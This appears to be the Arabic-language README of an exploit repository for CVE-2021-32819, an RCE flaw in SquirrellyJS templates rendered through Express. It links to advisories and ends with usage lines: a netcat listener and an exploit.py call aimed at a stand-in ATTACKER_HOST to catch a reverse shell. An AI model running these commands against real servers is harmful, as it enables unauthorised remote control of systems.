abady0x1/cve-2021-32819SquirrellyJS يخلط بيانات القالب النقية مع خيارات تكوين المحرك عبر واجهة برمجة تطبيقات Express render. عن طريق الكتابة فوق خيارات التكوين الداخلية، قد يتم تشغيل تنفيذ الأكواد عن بُعد في التطبيقات النهائية.
CVE-2021-32819 : SquirrellyJS يخلط بين بيانات القالب الخالصة وخيارات تكوين المحرك من خلال واجهة برمجة تطبيقات العرض Express. من خلال الكتابة فوق خيارات التكوين الداخلية، قد يتم تشغيل تنفيذ التعليمات البرمجية عن بُعد في التطبيقات النهائية.
https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
v8.0.0 >= v8.0.8 تنفيذ التعليمات البرمجية عن بُعد
Ubuntu 20.04.1
nc -lvp 443
python3 exploit.py http://example.com/ ATTACKER_HOST 443
